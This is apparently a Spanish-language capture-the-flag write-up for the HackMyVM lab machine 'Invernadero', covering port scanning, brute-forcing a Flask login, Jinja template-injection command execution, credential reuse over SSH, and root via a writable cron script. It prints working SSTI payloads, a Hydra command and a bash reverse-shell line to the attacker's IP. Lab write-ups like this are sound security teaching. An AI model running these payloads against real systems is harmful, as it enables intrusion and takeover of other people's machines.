cd ~/blog

~/writeups/hmv/145-invernadero.md

145-invernadero

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credenciales por defectoSSTIReutilización de credencialesScript ejecutado por cron modificable
hackmyvm.eu/machines/machine.php?vm=Invernadero

~4 min de lectura


Reconocimiento

Comenzamos ubicando la dirección IP de la máquina víctima dentro de la red local, de modo que podamos delimitar el objetivo antes de enumerar sus servicios:

❯ arp-scan --interface=wlo1 --localnet
...
10.0.192.11  08:00:27:37:11:6c  PCS Systemtechnik GmbH
...

Con la IP confirmada, lanzamos un barrido completo de puertos TCP para descubrir la superficie de ataque. El escaneo revela tres puertos abiertos y un segundo escaneo, más dirigido, identifica los servicios y sus versiones:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.0.192.11
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

❯ nmap -sCV -p 22,80,8080 -oN 02-targeted.txt 10.0.192.11
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.3 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.68 ((Unix))
8080/tcp open  http    Werkzeug httpd 3.1.8 (Python 3.9.25)
|_http-title: Did not follow redirect to /login

El puerto 80 sirve la página por defecto de Apache, sin contenido aprovechable a primera vista. El interés se concentra en el puerto 8080, donde una aplicación construida sobre Werkzeug (Flask) redirige cualquier acceso hacia un formulario de inicio de sesión en /login.

Acceso a la aplicación

Al no disponer de credenciales, probamos combinaciones de un diccionario de usuarios y contraseñas contra el formulario /login. Hydra localiza rápidamente una cuenta administrativa protegida por una contraseña débil:

❯ hydra -L ~/Documents/wordlists/users.txt \
  -P ~/Documents/wordlists/users.txt \
  -s 8080 10.0.192.11 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=Usuario o contraseña incorrectos."

[8080][http-post-form] host: 10.0.192.11   login: admin   password: admin123

Ya autenticados, recorremos la aplicación hasta llegar a /alerts. Allí un formulario permite personalizar el mensaje de cada alerta y el propio texto de ayuda indica que admite variables Jinja como {{ sensor }}. Ese detalle es la primera pista de una posible SSTI:

Ahora bien, que un formulario ofrezca marcadores de plantilla no demuestra por sí solo una vulnerabilidad. El punto decisivo es distinto: comprobar si la aplicación evalúa como código Jinja todo el texto que enviamos en el campo mensaje_custom, incluida una expresión arbitraria elegida por nosotros.

SSTI en la vista previa de alertas

Para verificarlo, sustituimos el mensaje por una expresión Jinja que, en lugar de mostrar un dato, intenta alcanzar el módulo os y ejecutar ls -la:

{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}

Al guardar la regla, la vista previa devuelve el listado de archivos del servidor. Esto confirma la SSTI: el contenido del campo no se trata como dato, sino que se interpreta en el servidor y, en este entorno, permite ejecutar comandos con los permisos del proceso web:

Para trabajar con comodidad desde la terminal y recuperar la salida completa, replicamos la misma petición autenticada contra el endpoint /guardar_alerta. El valor de session debe corresponder a una sesión propia ya iniciada en la aplicación:

❯ curl -sS -L \
  --cookie 'session=<sesión_autenticada>' \
  'http://10.0.192.11:8080/guardar_alerta' \
  --data-urlencode "mensaje_custom={{ cycler.__init__.__globals__.os.popen('ls -la').read() }}" \
  --data-urlencode 'sensor=luz' \
  --data-urlencode 'condicion=>' \
  --data-urlencode 'val=4' \
  --data-urlencode 'envio_de_datos=asdf' |
awk '/<div class="mensaje-ok">/{mostrar=1; next} mostrar && /<\/div>/{exit} mostrar' |
sed 's/^[[:space:]]*Regla guardada\. Vista previa: //' |
sed '/^[[:space:]]*$/d'

total 104
drwxr-xr-x    1 operador root  4096 Aug 30 13:43 .
-rwxr-xr-x    1 operador root   785 Aug 30 02:00 Dockerfile
-rwxr-xr-x    1 operador root  4009 Aug 30 04:02 app.py
-rwxr-xr-x    1 operador root 11251 Aug 30 04:09 routes.py
-rwxr-xr-x    1 operador root    26 Aug 30 13:41 user.txt
...

El listado sitúa la aplicación en un entorno contenerizado —aparecen el Dockerfile y el código fuente— y confirma la presencia de user.txt. Aprovechando la ejecución de comandos, cambiamos únicamente el comando dentro de popen por cat app.py para revisar el código de la aplicación:

{{ cycler.__init__.__globals__.os.popen('cat app.py').read() }}

En el resultado aparecen los valores por defecto usados para conectar con el broker MQTT:

usuario = app.config.get("MQTT_USER", "admin_invernadero")
password = app.config.get("MQTT_PASSWORD", "admin_invernadero123")
broker = app.config.get("MQTT_BROKER", "172.17.0.1")
cliente.username_pw_set(usuario, password)

El mismo código revela que app.py crea la cuenta web admin con la contraseña admin123 cuando no existe, lo que explica el hallazgo previo de Hydra. Conviene notar que la vista previa codifica algunos caracteres como entidades HTML (&amp;#34;, por ejemplo); esto solo afecta a cómo se muestra la respuesta y no impide que la expresión Jinja se evalúe en el servidor.

Las credenciales MQTT son valores de reserva definidos en el código, por lo que no prueban por sí solas qué está configurado en tiempo de ejecución. Aun así, la reutilización de contraseñas entre servicios es un patrón habitual, de modo que probamos ese mismo par de credenciales contra SSH y la autenticación resulta válida.

Acceso por SSH y enumeración local

❯ ssh admin_invernadero@10.0.192.11
admin_invernadero@10.0.192.11's password: admin_invernadero123
Welcome to Alpine!

Ya dentro del sistema como admin_invernadero, iniciamos la fase de enumeración local revisando los historiales de shell. Encontramos varios intentos previos de usar find para escalar privilegios, pero el indicio realmente útil para esta ruta es la referencia a /opt/invernadero/backup_logs.sh en .ash_history. Ese historial incluye además intentos de sobrescribir el archivo; como esos comandos antiguos no demuestran nada por sí mismos, verificamos directamente el estado actual del script y sus permisos:

server1:~$ cat /opt/invernadero/backup_logs.sh
#!/bin/sh

# Ejecutado cada minuto por cron (root)
LOGDIR="/var/log/mqtt"
BACKUPDIR="/var/backups/mqtt"
...

server1:~$ ls -l /opt/invernadero/backup_logs.sh
-rwxrwxr-x  1 root admin_invernadero ... /opt/invernadero/backup_logs.sh

El script pertenece a root, pero el grupo admin_invernadero —al que pertenece nuestro usuario— conserva permiso de escritura sobre él. El comentario del propio archivo indica que cron lo ejecuta cada minuto como root, lo que abre una vía de escalada evidente: cualquier código que añadamos al script se ejecutará con esos privilegios.

Escalada a root

Aprovechando ese permiso de escritura, añadimos al final del script una línea que envía una shell reversa a nuestra máquina (10.0.137.77:1234):

server1:~$ cat /opt/invernadero/backup_logs.sh
...
/bin/bash -c 'bash -i >& /dev/tcp/10.0.137.77/1234 0>&1'

Dejamos un listener a la espera y, en cuanto cron ejecuta el script en el siguiente minuto, recibimos la conexión. Comprobamos el usuario efectivo de la shell recibida:

❯ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.0.192.11 39442
server1:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
server1:~# whoami
root

La shell corre como root, con lo que la escalada queda completa y ya podemos recuperar la flag final, y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados